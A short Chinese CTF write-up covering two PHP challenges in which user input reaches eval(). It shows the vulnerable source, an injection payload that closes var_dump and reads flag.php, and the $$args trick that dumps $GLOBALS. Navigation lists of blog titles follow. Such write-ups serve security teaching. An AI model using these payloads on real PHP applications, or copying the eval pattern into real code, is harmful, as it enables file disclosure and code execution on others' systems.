CTF两个经典的文件包含案例
2024-08-25 01:58:15
案例一
URL:http://120.24.86.145:8003/
代码
<?php
include "waf.php";
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__); ?>
其实就是拼接eval
可构造如下语句:
1);print_r(file(flag.php));//
到了代码里就是
eval( "var_dump(1);print_r(file(flag.php));//);");
案例二
URL:http://120.24.86.145:8004/index1.php
flag In the variable ! <?php
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){
die("args error!");
}
eval("var_dump($$args);");
}
?>
这个可以注意一下eval很明显$$.首先他说如果不符合那个正则就die。\w的意思是所有的字母。也就是说$args必须要是字母才行。倘若是GLOBALS到eval就是eval("var_dump($GLOBALS);");
最新文章
- bash快捷建
- NSThread
- iframe自适应高度的多种方法小结
- RethinkDB
- IE6下解决select层级高的问题
- dede 日期的所有格式
- Clojure学习05:谓词函数
- AngularJS与ASP.NET MVC登录超时解决方案
- 通过位异或来交换a,b的值和通过中间变量交换a,b的值
- Java内存模型:volatile详解
- happyChat开发系列:使用websocket.io实现双向通信的乐聊大前端开发
- java消息队列--ActiveMQ
- Unity Graphics(一):选择一个光照系统
- 从RDS中获取binlog
- Tomcat内存监控及调优
- 大疆ganluinace
- Linux软件安装中RPM与YUM 区别和联系
- Oracle 分区表 收集统计信息 参数granularity
- ocky勒索软件恶意样本分析2
- python程序的输入输出(acm的几个小程序)
热门文章
- VS升级后的配置问题
- 关闭或者开启apache的目录浏览
- 异步执行任务SimpleAsyncTaskExecutor详解
- Ajax在jQuery中的应用($.ajax()方法)
- filter过滤器 默认情况下只对客户端发来的请求有过滤作用 对服务端的跳转不起作用 需要显示的在xml定义过滤的方式才行
- CentOS 文件搜索find
- POJ1990:MooFest——题解
- 数据治理(Data Governance)
- SELECT LAST_INSERT_ID() 的使用和注意事项
- 基于DCT系数的实时监控中运动目标检测